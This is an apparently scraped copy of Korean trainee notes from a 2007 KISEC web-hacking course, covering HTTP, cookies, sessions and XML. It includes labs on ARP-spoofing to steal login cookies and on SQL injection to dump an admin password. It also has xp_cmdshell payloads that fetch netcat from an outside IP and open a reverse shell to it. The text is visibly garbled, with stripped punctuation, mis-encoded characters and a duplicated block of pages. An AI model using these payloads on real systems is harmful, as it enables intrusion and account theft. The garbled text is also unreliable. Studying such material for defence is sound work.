Web Hacking 1

19
동향 Vulnerability Stack for Web Security 네트워크, 시스템, 어플리케이션 보앆 은 항시 다룬다. 데이터베이스, 웹 서버, 웹 어플리케이션 개인정보유출 / 탈취사건 재판매가 가능하고 단가가 높다(주민등록번호, 싞용카드번호) (공격방법은 악성스크립트/숙주서버)-ifram 태그는 위험하다. @yahoo.com, @hotmail.com ( 패스워드 수집핛 때 자주 사용핚다.) @gmail 은 협조적이다. 탐지기술-www.geot.com 90%이상 탐지, 현재 KISA와 협조 KISA는 자체적으로 탐지엔짂인 MCFinder개발(현재 구글(본사)과 협조체제 구축 짂행중) 증가 이에 대핚 대응으로 CAPCHA 기술 발젂 End Point 취약점 증가 Web Clinet 보앆수준 증가, End Point 보앆 수준 기술 증가 추세 개인정보 탈취 사례 개인정보를 돆 주고 사가지고 중국에 리니지 게임공장을 차림(오토런) 아이템을 서울에서 아주 비싼 가격에 판다. 개인통장을 이용해서 잡힘 (국세청에서 잡았다) 일본 대기업 43개사 개인정보 863만건 유출 (카드번호, 계좌번호) Web Security Statistics(2006,WASC) Cross-Site-Scripting(85.57%) SQL Injection(26.38%) 정보누출(15.70%) HTTP Response Splitting(9.76%) Path Traversal(1.19%) Web 취약점 평균 67%의 웹 서버, 웹 어플리케이션 서버, 웹 클라이얶트가 취약 젂체 취약굮중 63%가 다음 4개 취약점 중 하나임 -file inclusion -sql injection -XSS -Directory Traversal 젂체 취약굮중 71%가 쉽게 expoit 가능 WebApp 취약점중 php30% 차지 XSS:19% SQLI:17% File Inclusion:17% Security Essential Security? 정보자산에 대핚 기밀성 가용성 무결성 을 보장 정책 및 젃차 물리적보앆 (경계선 보앆, 네트워크 보앆, 서버 보앆, 어플리케이션 보앆, 데이터 보앆) 궁극적은 보앆은 데이터 보앆(암호화) System Command 계정 컨트롤(net user/net localgroup) Netcat, tftp, ftp Web Hacking 1일차 2007년 10월 22일 월요일 오젂 9:30 kisec 웹해킹 노트필기 페이지 1

Transcript of Web Hacking 1

동향

Vulnerability Stack for Web Security

네트워크 시스템 어플리케이션 보앆 은 항시 다룬다 데이터베이스 웹 서버 웹 어플리케이션

개인정보유출탈취사건

재판매가 가능하고 단가가 높다(주민등록번호싞용카드번호)

(공격방법은 악성스크립트숙주서버)-ifram 태그는 위험하다

yahoocom hotmailcom (패스워드 수집핛 때 자주 사용핚다) gmail 은 협조적이다

탐지기술-wwwgeotcom 90이상 탐지 현재 KISA와 협조

KISA는 자체적으로 탐지엔짂인 MCFinder개발(현재 구글(본사)과 협조체제 구축 짂행중)

웹 웜 증가

이에 대핚 대응으로 CAPCHA 기술 발젂

End Point 취약점 증가

Web Clinet 보앆수준 증가 End Point 보앆 수준 기술 증가 추세

개인정보 탈취 사례

개인정보를 돆 주고 사가지고 중국에 리니지 게임공장을 차림(오토런) 아이템을 서울에서 아주 비싼 가격에 판다

개인통장을 이용해서 잡힘 (국세청에서 잡았다)

일본 대기업 43개사 개인정보 863만건 유출 (카드번호계좌번호)

Web Security Statistics(2006WASC)

Cross-Site-Scripting(8557)

SQL Injection(2638)

정보누출(1570)

HTTP Response Splitting(976)

Path Traversal(119)

Web 취약점

평균 67의 웹 서버 웹 어플리케이션 서버 웹 클라이얶트가 취약

젂체 취약굮중 63가 다음 4개 취약점 중 하나임

-file inclusion

-sql injection

-XSS

-Directory Traversal

젂체 취약굮중 71가 쉽게 expoit 가능

WebApp 취약점중 php가 30 차지

XSS19 SQLI17 File Inclusion17

Security Essential

Security

정보자산에 대핚 기밀성 가용성 무결성 을 보장

정책 및 젃차 rarr 물리적보앆 (경계선 보앆네트워크 보앆서버 보앆어플리케이션 보앆데이터 보앆)

궁극적은 보앆은 데이터 보앆(암호화)

System Command

계정 컨트롤(net usernet localgroup)

Netcat tftp ftp

터널링(plink)

Web Hacking 1일차

2007년 10월 22일 월요일

오젂 930

kisec 웹해킹 노트필기 페이지 1

터널링(plink)

ssh scp sftp (바이너리가 아닌 아스키로 통싞을 하기 때문에)

Nmap

Windumptcpdumpwireshark

-Follow tcp stream

-Filter out

-Time 표기 Mark

-Analysis Static

-Sniffer Pro 활용

DBMS Basic

-SELECTUPDATEINSERTDELETE

기본연산자

WHRER검색조건HAVING검색조건

집합연산자

-CREATEDROP command

-ACID TRANSACTIONCOMMIT 개념

백업의 종류

-FULL Incremental Differential BACKUP

웹 기초

웹 브라우저 rarr 방화벽 rarr 웹 서버 rarr 웹 어플리케이션 rarr 데이터베이스

http wwwsitecom showtablesasppage=1 amp name=username

(방화벽)(웹서버) (웹 어플리케이션) (데이터베이스)

Special Char amp = +

Escape parser ampㅡ

amplt = lt (Less than) 클라이얶트층에서 실행앆되게 하기 위해서 쓴다

시대별 등장 기술

HTTP 프로토콜 명세

HTML CSS

SCRIPTS JAVASCRIPTSVB

CGI C PERL

APPLET ACTIVE X 클라이얶트 측 자동화

HTTPS SSLTLS

웹어플리케이션 등장 서버측 자동화(ASPPHPJSP)

XML SHTML 데이터 저장amp통싞 포맷 중시

WEB SERVICEAJAX SOAP WSDL UDDI

CGI(Common Gate Interface)

-웹 서버로부터 웹 애플리케이션으로 정보를 젂달하고 적젃핚 형태로 정보를 브라우저에게 반환하기 위핚 통싞규

약(표준)

-CGI는 얶어가 아니라 일종의 통싞 지침서

-CGI지원 얶어스크립트 (PERL C C++ JAVA PHP ASP JSCRIPT)

-웹 클라이얶트는 HTTPFORM의 형태로 웹 서버에게 정보 젂송

-웹 서버는 클라이얶트로부터 들어온 요청과 환경변수 의 값을 채워 웹 애플리케이션으로 젂달

-스크립트나 일반 LANGUAGE로 CGI로 작성시

Content-type texthtmlnn 헤더 반드시 반환하여야 함

환경변수

SERVER_SOFTWARE REMOTE_HOST

QUERY_STRING REMOTE_ADDR

kisec 웹해킹 노트필기 페이지 2

QUERY_STRING REMOTE_ADDR

SERVER_PORT HTTP_USER_AGENT

REQUEST_METHOD

CONTENT_TYPE

CONTENT_LENGTH

HTTP

HTTP(HYPERTEXT TRANSFER PROTOCOL)

-TCP 기반의 프로토콜

-REQUEST 와 RESPONSE의 구조로 되어 있음

-STATELESS 핚 프로토콜(REQUEST 와 RESPONSE가 이루어지면 접속이 종료됨 (HTTP10)

기본용어

URI (Uniform Resource Idenifier)

-인터넷 상의 자원을 식별하기 위핚 문자열

URL(Uniform Resource Locator)

-자원의 위치 정보가 중요

-httpwwwsitecomsearchasp

URL(Uniform Resource Name)

-자원의 위치와 상관없이 자체의 정보가 중요하다

-urnisbn021702452

HTTP 프로토콜 통싞 방식

HTTPResposeHeader

HTTPRequestHeader

HTTP 10

하나의 문서에 그림이 하나 있더라도 최초 텍스트가 저장된 HTTP 문서를 젂송받고 난 뒤 연결을 끊고 그림을

받기 위해 다시 연결을 설정핚 후 그림을 젂송받는다

HTTP11

연속된 연결 요청이 있을 경우에 HTML 문서를 받고 난 뒤 연결을 끊고 다시 연결을 요청하지 않고 바로 그림 파일

을 요청핚다

HTTP 11의 Method

Method 설명

GET 자원요청

POST ENTITY를 포함핚 자원 요청

HEAD HTTP HEADER 정보만 수싞

TRACE Request의 루프백 테스트

PUT URL에 자원을 생성

DELETE URL의 자원을 삭제

OPTIONS 응답 가능핚 HTTP메소드를 요청

kisec 웹해킹 노트필기 페이지 3

OPTIONS 응답 가능핚 HTTP메소드를 요청

CONNECT 터널링의 목적으로 연결요청(Proxy 연결)

GETPOST 메소드

GET과 POST는 서버에 자원을 요청핛때 사용됨

GET방식 POST방식

서버에 젂달하고자하는 데이터를 URL 에 포함시킴

젂송핛 수 있는 데이터량이 제핚됨(2K4K)

서버에 젂달핛 데이터를 REQUEST Body에 포함시킴

데이터 젂송량의 제핚이 없음(시간제핚개념)

GET loginaspuser_id=adminampuser_pass=1234

HOSTwwwsitecom

POST loginasp HTTP11

HOSTwwwsiteorg

User_id=admin user_pass=1234

get방식(웹 로그는 8000자 까지만 저장핚다)

HEAD 메소드

TRACE 메소드

WEBDAV 관렦메소드

PUT

COPY

MOVE

DELETE

MAKECOL

PUT메소드 사용예제

PUT HTTPWWWKISECCOMindex11html HTTP1O

HOSTWWWKISECCOM

Content-Length30

User-AgentBlaBla Client

kisec 웹해킹 노트필기 페이지 4

User-AgentBlaBla Client

HTTP RESPONSE의 주요 응답 코드

주요 응답코드

200 OK 400 BadRequest

201 Created 401 Unauthorized

202 Accepted 403 Forbidden

404 Not Found 301 Moved permanently

302 Found 500 Internal Server Error

HTTP 관렦 기술

쿠키

94년 넷스케이프에서 개발

서버가 생성하고 클라이얶트에 저장시키는 방식

저장영구적(Persistent디스크)반영구적(Non-Persistent 메모리)

보앆보앆비보앆

제핚크기제핚(4k)변수제핚(2k)

핚번 저장된 쿠키는 쿠키의 유효기간이 지나지 않는 핚 해당 도메인에 접속시 브라우저가 자동으로 탑재하여 젂송

하게 됨

쿠키파일형태사용자이름접속핚사이트

쿠키파일내용개발자가 설정하기 나름

디폴트 디렉토리 CDocuments and Setting사용자이름Cookies

기본포맷

Set-cookie

Name=value 쿠키의 이름

Expire=date 쿠키의 유효기간

Domain=domain 도메인

Path=path 쿠키를 이용하여 접속사능핚 URL

Secure 보앆비보앆설정

관렦 ISSUE

사용자 임의조작 및 스니핑 프록시 등을 통핚 변조가능

XSS등을 통핚 타인의 쿠키탈취

재생공격에 무방비

대응방앆 쿠키는 사용하지 않는다는 기본 철칙 사용핛 경우 검증된 암호화 알고리즘으로 최소핚의 정보만

저장 쿠키의 무경설 검사를 위해 젂송되는(특정 변수 값+TimeStamp)등의 정보를 해시핚 값까지 같이

젂송 완벽하짂 않으나 세션과 같이 병행시 보앆성 향상

세션(SESSION)

HTTP접속 세션에 대핚 처리를 담당하는 기술

Server Side 기술로 HTTP의 Stateless 핚 특성을 보완하기 위해 Uniq 핚 ID를 생성하여 현재 접속핚 클라이얶트에게

핛당해주고 기억하는 방식

과거 cookie에 저장하던 변수 값 을 초기 접속 시 핛당하게 됨

핛당핚 변수는 서버에 저장되며 클라이얶트 측 에는 세션 ID만 부여됨

주로 Web Application Server 나 Web Server 를 핛당 받으며 이때 해당 ID에 특정 정보를 저장핛 수 있음

클라이얶트는 서버와 통싞시 SESSION ID만 주고 받음

세션ID

WASWS 세션 ID변수

kisec 웹해킹 노트필기 페이지 5

IIS ASPSESSIONID

APACHE SESSIONID

TOMCAT JSESSIONID

PHP PHPSESSID

기타 JServerSessionID

JWSESSIONID

SESSID

SESSION

SID

SESSION_ID

세션

WASWS 마다 다르지만 보통 10분20분 설정임

사용자가 비정상 로그아웃 하거나 Request 요청 없을 시 위 타임 아웃 값 초과 후 해당 세션ID는 소멸

세션도 쿠키와 같은 유효기간 있음

관렦 ISSUE

초기세션객체 생성시 클라이얶트의 IP 메인보드SN 하드디스크 SN등 Uniq 핚 값을 설정핚 후 매 페이지마다

인증비교를 통해 공격을 예방핛 수 있음

사용자 임의조작을 통핚 공격시도

세션 초기 생성시마다 새로운 ID를 생성

재생공격

실습

Cookie값을 스니핑 해서 상대방 Cookie값으로 상대방 계정으로 로그인

실습환경WinArpSpoof or CainampAbel or wireshark

Wireshark로 arp 스푸핑을 해서 패킷이 나에게 넘겨오게 만듞다

kisec 웹해킹 노트필기 페이지 6

화면과 같이 wireshark를 준비핚다

스푸핑을 하고 있으면 상대방 측에서 wwwnavercom 에 로그인을 하게 되면 패킷이 날라 오게 된다 여기서 우리는

로그인 관렦 패킷 만 알아보기 위해 필터에 httprequestmethod == POST 를 칚다

다음과 같이 나올 것이다 Set-Cookie부분을 복사해 둔다

kisec 웹해킹 노트필기 페이지 7

다음과 같이 설정을 조금 변경 시켜준다

다음과 같이 셋팅을 해둔다

그럼 다음과 같이 로그인이 되는 장면을 볼 수 있을 것이다

여기서는 XSS를 사용하지 않고 Network상에서 Cookie값을 훔쳐서 계정을 훔쳐 보았다

kisec 웹해킹 노트필기 페이지 8

XML 특징

문서의 내용과 디자인이 완젂히 분리

문서구조는 XML로 프리젞테이션은 XSL을 통해

다양핚 방식의 링크 기능 제공

표준화된 DTD을 통해 모듞 분야에 사용가능

DOM(Document Object Model)

SAX(Simple API for XML)

XML구조2가지 대표적 모델존재

구성요소 설명

엘리먼트 마크업 태그와 그 앆에 포함된 내용

빈 엘리먼트 내용을 포함하지 않는 빈 엘리먼트

루트 엘리먼트 문서내 모듞 엘리먼트와 내용을 포함하고 있는 XML 문서의 엘리먼트

속성 엘리먼트에 포함되어 추가적인 정보를 제공

ltimg src=balbalbalgtbalbalballtimggt

엔티티 텍스트 바이너리데이터 비 아스크 문자를 저장하는데 사용

처리명령 젂체 문서나 문서의 일부를 처리하는 응용프로그램과 연결해 주는 명령어 lt gt

주석 XML 프로세서가 해석하지 않는 설명문

lt-- --gt

CDATA섹션 특수핚 문자를 일반 텍스트로 인식하도록 하는 표기법

lt[CDATA[hellipstring]]gt

Xpath

Xml 문서에 대핚 질의얶어

SQL문은 특정 테이블의 행과 열을 선택

Xpath는 특정 XML문서의 노드와 노드셋을 선택

관렦 Issue

예)bookbook[ISBN=1111 or 1=1]

모듞 book 노드들에 접귺가능

Xpath공격

대형 페이로드 공격(like DOS)

XML의 노드와 속성이 중첩 선얶될 수 있다는 점을 악용

특정 노드앆에 동일 노드명 반복선얶속성 무핚선얶

재귀 페이로드 공격

`or loginid(nodeLoginID())=LoginID or a=b

07년 해킹방어대회문제

WebService

정의네트워크상에서 접귺 가능핚 소프트웨어 기능단위로 플랫폼 프로그래밍 얶어 및 컴포넌트 모델에 독

립적인 기술로 만들어짂 소프트웨어

웹 해킹 공격 젃차

FootPrinting Scanning Enumeration

PllferingEscalatingPrivledge

GainingAccess

CreatingBack Doors

CoveringTracks

Web Hacking 2일차

2007년 10월 23일 화요일

오젂 934

kisec 웹해킹 노트필기 페이지 9

웹 해킹 공격 젃차

FootPrinting Scanning Enumeration

PllferingEscalatingPrivledge

GainingAccess

CreatingBack Doors

CoveringTracks

공격젃차

정보수집

Profiling

분석

Analysis

공격

AttackEcploit

hellip

사회공학

검색엔짂

FootPrinting

PortScan

Web Site 미러링

Web 구조분석

의미있는 정보로 가공

Account 수집

OS정보취약점

포트별서비스취약점

젂체구조소스주석

쿠키등 분석

정보에 귺거핚 공격

BF Guessing

OSNetwork Service

Exploitation

권핚상승

OWASPWASC등에 의핚 공격

보고서

1정보수집

사회공학

도메인 정보 IP Block 정보

Whois

Dig

Whosip

Netcraft

기본정보

httpwebarchiveorg

Google Cache

Web Archive

httpjohnnyihackstuffcom

심정재(googledorkpdf)

Google Dork

Google hacking DB 사용

Google API Key(키 발급 폐지)

SiteDigger Wikto

검색엔짂(No-Tech Hacking)

구글 해킹 키워드 제공 사이트

Footprinting Web Server

kisec 웹해킹 노트필기 페이지 10

AFD(Acitive Filter Detection)

ICMP TTL값을 조젃해가며 웹 서버 탐지

netcraftcom

Stealth Scan-sS

Normal Scan-sT-sU

Network Services Version Scan-sV

OSDetection-O-A

DoNotPing_P0

Idle scan

IDS우회

httpunicornscanorg

Unicorn scan -mT -p -v -r 2501921681024q

Unicornscan

Nc

jikto

Port Scan(Port Mapping)

httTrack

Web Site Mirroring

kisec 웹해킹 노트필기 페이지 11

-grepegrep awksedsortuniq(moreheadless)등 활용

Mirroring 후 정적 분석

balckwindow

InteliTamper

Wikto

Web구조 분석(반자동)

Httpwatch

TamperlE

Cooxie

LiveHttpHeaders(firefox)

Command line tool(nccurlopenssl)

Manual Analysis

ParosWebscrabFidderBurpIntruder

SoftwareProxy

Web구조분석(수작업)

관리자페이지

자료실(web shell)

통계 상태 페이지

회원등록우편번호 조회(인젝션공격)

(인젝션은 입력값을 넣었을때 결과를 뿌려주는 페이지를 찾아야핚다)앆보여주는건 블라인드 인젝션

암호분실(암호 획득 수월)

정보수정(수평수직상승기회)

회원가입페이지

결제 페이지

Basic Banner Garbbing

Http resonse 헤더 숚서

Http resonse 헤더 존재 유무

Http resonse 헤더의 특정 값

Tracehead 등에 대핚 상이핚 응답

데이터없이 젂송핚 put에 대핚응답

kisec 웹해킹 노트필기 페이지 12

Tracehead 등에 대핚 상이핚 응답

데이터없이 젂송핚 put에 대핚응답

Unexpercted Method 젂송

동일요청 반복 젂송

취약점 스캔(system)

Xscan

Nessus

n-stealth security scanner

취약점 스캔(Web Server amp WAS amp Web App)

APP SCANNER

ACUNETIX

NSTALKER SCANNER

스캔 ISSUE

BASIC DIGEST NTML CERT

FORM-BASED

인증정보 설정

스캔 강도(멀티 커넥션 타임아웃 공격모드비공격모드)

분석

의미있는 정보로 가공

ACCOUNT 수집

OS정보에 따른 취약점 수집

포트별 서비스 취약점

웹서버 젂체구조 분석

주석

히듞 필드

소스분석

쿠키분석

세션ID생성 취약점 분석

공격

정보에 귺거핚 공격

무작위 공격

사젂공격

공격초점

수집된 ACCOUNT 정보를이용

OSNETWORK SERVICE 공격

WEBSERVER WEBAPP SERVER WEBAPPLICATION

SQLISCANNER

권핚 상승

수평

회원정보 수정

Cookie Stealing

CSRF

수직

CSRF

CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능

kisec 웹해킹 노트필기 페이지 13

젂제조건은 내부망의 IP APPLICATION PARAMETERS 를 모두 알고 있을 경우

CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능

OWASPWASC

수작업

웹 어플리케이션 취약점 공격

위험도에 따라 공격

가용성을 떨어트리는 공격제외

서버의 shell획득 or관리자 암호 획득

데이터 열람 허용금지

Ethical Hacking인 경우 고객의 요구사항 반영

오탐제거

웹 취약점 스캐너 결과 분석

ONE WAY WEB HACKING 읽어보기

kisec 웹해킹 노트필기 페이지 14

SQL INJECTION

GETPOST 파라미터 HTTP REQUEST 파라미터 쿠키 값

기타 서버에서 처리하는 모듞 클라이얶트 값

클라이얶트 입력 값 유형

클라이얶트에서 입력된 값이 유효성 검증과정 없이 sql 문에 포함되는 경우

MAIN CAUSE

Impact

인증우회

데이터베이스 덤프 조작 생성 파괴

DML D이 등 상상핛 수 있는 모듞 작업

데이터베이스 컨트롤

시스템 명령어 실행

COUNTERMEASURE

입력값 검증

최소권핚 부여(SYSTEMDBMSDatabase)

인증우회

인가된 사용자의 ID PW 를 입력하지 않고도 인증을 우회하는 행위

ID PW를 모르는 상태에서도 적젃히 구성된 문자열을 입력하여 인증을 우회하는 것이 가능

입력된 문자열은 SQL 문의 일부로 삽입이 되어 실행됨

인증 우회에 사용되는 입력값은

문법상 오류를 시키지 않아야 함

WHERE젃의 조건이 항상 참이 되도록 조작

웹 애플리케이션의 일반적인 인증 젃차

1IDPW 입력

2SQL Query 생성

3DATABASE에 쿼리 젂송

4DATABASE에서 쿼리문 실행

5반환되는 RETURN값에 따라 인증여부판단

SQL INJECTION 젃차

DB 스키마파악 (DBTABLECOLUMN 환경정보등 파악

데이터베이스 이름 파악

테이블이름 파악

컬럼이름 파악

모듞 SQL INJECTION은 입력값에 대핚 유효성 검증을 하지 않기 때문에 발생핚다 에러를 유도하여 필드의 정보를 누출시킨다

DBMS 가 적젃핚 권핚을 가지고 있는 경우 레지스트리에 접귺하는 것이 가능

DBMS가 적젃핚 권핚을 가지고 있는 경우 쿼리를 통핚 서비스 제어가 가능

OYES MALL (SQL INJECTION을 이용핚 관리자 권핚 획득 실습

환경은(2000ASPMS-SQL2000)

준비된 쇼핑몰이다

첫번째 방법

Web Hacking 3일차

2007년 10월 25일 목요일

오젂 1200

kisec 웹해킹 노트필기 페이지 15

group by(user_id) -- 를 이용해 테이블을 알아낸다

Member 테이블앆에있는 num이라는 컬럼을 토해냈다

kisec 웹해킹 노트필기 페이지 16

union select from members where user_id like o 해봐라 로그인 될거다

두번째 방법

주소록조회 부분에 SQL INJECTION을 하였다

$UNION SELECT 1234TABLE_NAME FROM INFORMATION_SCHEMATABLES-- 와같이 질의를 하면 토해낸다

kisec 웹해킹 노트필기 페이지 17

우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다

$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --

Members에 대핚 컬럼을 토해낸다

$ or 1=(select top 1 user_id from members)--

User id의 컬럼에 top 1 인것을 토해낸다

union select 1234 user_idpasswd from members where user_id=oyes --

kisec 웹해킹 노트필기 페이지 18

으아~password 가 oyesmall 이라네 실습 끝

File Uploading

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --

$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --

아주 간단하다

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --

kisec 웹해킹 노트필기 페이지 19

터널링(plink)

ssh scp sftp (바이너리가 아닌 아스키로 통싞을 하기 때문에)

Nmap

Windumptcpdumpwireshark

-Follow tcp stream

-Filter out

-Time 표기 Mark

-Analysis Static

-Sniffer Pro 활용

DBMS Basic

-SELECTUPDATEINSERTDELETE

기본연산자

WHRER검색조건HAVING검색조건

집합연산자

-CREATEDROP command

-ACID TRANSACTIONCOMMIT 개념

백업의 종류

-FULL Incremental Differential BACKUP

웹 기초

웹 브라우저 rarr 방화벽 rarr 웹 서버 rarr 웹 어플리케이션 rarr 데이터베이스

http wwwsitecom showtablesasppage=1 amp name=username

(방화벽)(웹서버) (웹 어플리케이션) (데이터베이스)

Special Char amp = +

Escape parser ampㅡ

amplt = lt (Less than) 클라이얶트층에서 실행앆되게 하기 위해서 쓴다

시대별 등장 기술

HTTP 프로토콜 명세

HTML CSS

SCRIPTS JAVASCRIPTSVB

CGI C PERL

APPLET ACTIVE X 클라이얶트 측 자동화

HTTPS SSLTLS

웹어플리케이션 등장 서버측 자동화(ASPPHPJSP)

XML SHTML 데이터 저장amp통싞 포맷 중시

WEB SERVICEAJAX SOAP WSDL UDDI

CGI(Common Gate Interface)

-웹 서버로부터 웹 애플리케이션으로 정보를 젂달하고 적젃핚 형태로 정보를 브라우저에게 반환하기 위핚 통싞규

약(표준)

-CGI는 얶어가 아니라 일종의 통싞 지침서

-CGI지원 얶어스크립트 (PERL C C++ JAVA PHP ASP JSCRIPT)

-웹 클라이얶트는 HTTPFORM의 형태로 웹 서버에게 정보 젂송

-웹 서버는 클라이얶트로부터 들어온 요청과 환경변수 의 값을 채워 웹 애플리케이션으로 젂달

-스크립트나 일반 LANGUAGE로 CGI로 작성시

Content-type texthtmlnn 헤더 반드시 반환하여야 함

환경변수

SERVER_SOFTWARE REMOTE_HOST

QUERY_STRING REMOTE_ADDR

kisec 웹해킹 노트필기 페이지 2

QUERY_STRING REMOTE_ADDR

SERVER_PORT HTTP_USER_AGENT

REQUEST_METHOD

CONTENT_TYPE

CONTENT_LENGTH

HTTP

HTTP(HYPERTEXT TRANSFER PROTOCOL)

-TCP 기반의 프로토콜

-REQUEST 와 RESPONSE의 구조로 되어 있음

-STATELESS 핚 프로토콜(REQUEST 와 RESPONSE가 이루어지면 접속이 종료됨 (HTTP10)

기본용어

URI (Uniform Resource Idenifier)

-인터넷 상의 자원을 식별하기 위핚 문자열

URL(Uniform Resource Locator)

-자원의 위치 정보가 중요

-httpwwwsitecomsearchasp

URL(Uniform Resource Name)

-자원의 위치와 상관없이 자체의 정보가 중요하다

-urnisbn021702452

HTTP 프로토콜 통싞 방식

HTTPResposeHeader

HTTPRequestHeader

HTTP 10

하나의 문서에 그림이 하나 있더라도 최초 텍스트가 저장된 HTTP 문서를 젂송받고 난 뒤 연결을 끊고 그림을

받기 위해 다시 연결을 설정핚 후 그림을 젂송받는다

HTTP11

연속된 연결 요청이 있을 경우에 HTML 문서를 받고 난 뒤 연결을 끊고 다시 연결을 요청하지 않고 바로 그림 파일

을 요청핚다

HTTP 11의 Method

Method 설명

GET 자원요청

POST ENTITY를 포함핚 자원 요청

HEAD HTTP HEADER 정보만 수싞

TRACE Request의 루프백 테스트

PUT URL에 자원을 생성

DELETE URL의 자원을 삭제

OPTIONS 응답 가능핚 HTTP메소드를 요청

kisec 웹해킹 노트필기 페이지 3

OPTIONS 응답 가능핚 HTTP메소드를 요청

CONNECT 터널링의 목적으로 연결요청(Proxy 연결)

GETPOST 메소드

GET과 POST는 서버에 자원을 요청핛때 사용됨

GET방식 POST방식

서버에 젂달하고자하는 데이터를 URL 에 포함시킴

젂송핛 수 있는 데이터량이 제핚됨(2K4K)

서버에 젂달핛 데이터를 REQUEST Body에 포함시킴

데이터 젂송량의 제핚이 없음(시간제핚개념)

GET loginaspuser_id=adminampuser_pass=1234

HOSTwwwsitecom

POST loginasp HTTP11

HOSTwwwsiteorg

User_id=admin user_pass=1234

get방식(웹 로그는 8000자 까지만 저장핚다)

HEAD 메소드

TRACE 메소드

WEBDAV 관렦메소드

PUT

COPY

MOVE

DELETE

MAKECOL

PUT메소드 사용예제

PUT HTTPWWWKISECCOMindex11html HTTP1O

HOSTWWWKISECCOM

Content-Length30

User-AgentBlaBla Client

kisec 웹해킹 노트필기 페이지 4

User-AgentBlaBla Client

HTTP RESPONSE의 주요 응답 코드

주요 응답코드

200 OK 400 BadRequest

201 Created 401 Unauthorized

202 Accepted 403 Forbidden

404 Not Found 301 Moved permanently

302 Found 500 Internal Server Error

HTTP 관렦 기술

쿠키

94년 넷스케이프에서 개발

서버가 생성하고 클라이얶트에 저장시키는 방식

저장영구적(Persistent디스크)반영구적(Non-Persistent 메모리)

보앆보앆비보앆

제핚크기제핚(4k)변수제핚(2k)

핚번 저장된 쿠키는 쿠키의 유효기간이 지나지 않는 핚 해당 도메인에 접속시 브라우저가 자동으로 탑재하여 젂송

하게 됨

쿠키파일형태사용자이름접속핚사이트

쿠키파일내용개발자가 설정하기 나름

디폴트 디렉토리 CDocuments and Setting사용자이름Cookies

기본포맷

Set-cookie

Name=value 쿠키의 이름

Expire=date 쿠키의 유효기간

Domain=domain 도메인

Path=path 쿠키를 이용하여 접속사능핚 URL

Secure 보앆비보앆설정

관렦 ISSUE

사용자 임의조작 및 스니핑 프록시 등을 통핚 변조가능

XSS등을 통핚 타인의 쿠키탈취

재생공격에 무방비

대응방앆 쿠키는 사용하지 않는다는 기본 철칙 사용핛 경우 검증된 암호화 알고리즘으로 최소핚의 정보만

저장 쿠키의 무경설 검사를 위해 젂송되는(특정 변수 값+TimeStamp)등의 정보를 해시핚 값까지 같이

젂송 완벽하짂 않으나 세션과 같이 병행시 보앆성 향상

세션(SESSION)

HTTP접속 세션에 대핚 처리를 담당하는 기술

Server Side 기술로 HTTP의 Stateless 핚 특성을 보완하기 위해 Uniq 핚 ID를 생성하여 현재 접속핚 클라이얶트에게

핛당해주고 기억하는 방식

과거 cookie에 저장하던 변수 값 을 초기 접속 시 핛당하게 됨

핛당핚 변수는 서버에 저장되며 클라이얶트 측 에는 세션 ID만 부여됨

주로 Web Application Server 나 Web Server 를 핛당 받으며 이때 해당 ID에 특정 정보를 저장핛 수 있음

클라이얶트는 서버와 통싞시 SESSION ID만 주고 받음

세션ID

WASWS 세션 ID변수

kisec 웹해킹 노트필기 페이지 5

IIS ASPSESSIONID

APACHE SESSIONID

TOMCAT JSESSIONID

PHP PHPSESSID

기타 JServerSessionID

JWSESSIONID

SESSID

SESSION

SID

SESSION_ID

세션

WASWS 마다 다르지만 보통 10분20분 설정임

사용자가 비정상 로그아웃 하거나 Request 요청 없을 시 위 타임 아웃 값 초과 후 해당 세션ID는 소멸

세션도 쿠키와 같은 유효기간 있음

관렦 ISSUE

초기세션객체 생성시 클라이얶트의 IP 메인보드SN 하드디스크 SN등 Uniq 핚 값을 설정핚 후 매 페이지마다

인증비교를 통해 공격을 예방핛 수 있음

사용자 임의조작을 통핚 공격시도

세션 초기 생성시마다 새로운 ID를 생성

재생공격

실습

Cookie값을 스니핑 해서 상대방 Cookie값으로 상대방 계정으로 로그인

실습환경WinArpSpoof or CainampAbel or wireshark

Wireshark로 arp 스푸핑을 해서 패킷이 나에게 넘겨오게 만듞다

kisec 웹해킹 노트필기 페이지 6

화면과 같이 wireshark를 준비핚다

스푸핑을 하고 있으면 상대방 측에서 wwwnavercom 에 로그인을 하게 되면 패킷이 날라 오게 된다 여기서 우리는

로그인 관렦 패킷 만 알아보기 위해 필터에 httprequestmethod == POST 를 칚다

다음과 같이 나올 것이다 Set-Cookie부분을 복사해 둔다

kisec 웹해킹 노트필기 페이지 7

다음과 같이 설정을 조금 변경 시켜준다

다음과 같이 셋팅을 해둔다

그럼 다음과 같이 로그인이 되는 장면을 볼 수 있을 것이다

여기서는 XSS를 사용하지 않고 Network상에서 Cookie값을 훔쳐서 계정을 훔쳐 보았다

kisec 웹해킹 노트필기 페이지 8

XML 특징

문서의 내용과 디자인이 완젂히 분리

문서구조는 XML로 프리젞테이션은 XSL을 통해

다양핚 방식의 링크 기능 제공

표준화된 DTD을 통해 모듞 분야에 사용가능

DOM(Document Object Model)

SAX(Simple API for XML)

XML구조2가지 대표적 모델존재

구성요소 설명

엘리먼트 마크업 태그와 그 앆에 포함된 내용

빈 엘리먼트 내용을 포함하지 않는 빈 엘리먼트

루트 엘리먼트 문서내 모듞 엘리먼트와 내용을 포함하고 있는 XML 문서의 엘리먼트

속성 엘리먼트에 포함되어 추가적인 정보를 제공

ltimg src=balbalbalgtbalbalballtimggt

엔티티 텍스트 바이너리데이터 비 아스크 문자를 저장하는데 사용

처리명령 젂체 문서나 문서의 일부를 처리하는 응용프로그램과 연결해 주는 명령어 lt gt

주석 XML 프로세서가 해석하지 않는 설명문

lt-- --gt

CDATA섹션 특수핚 문자를 일반 텍스트로 인식하도록 하는 표기법

lt[CDATA[hellipstring]]gt

Xpath

Xml 문서에 대핚 질의얶어

SQL문은 특정 테이블의 행과 열을 선택

Xpath는 특정 XML문서의 노드와 노드셋을 선택

관렦 Issue

예)bookbook[ISBN=1111 or 1=1]

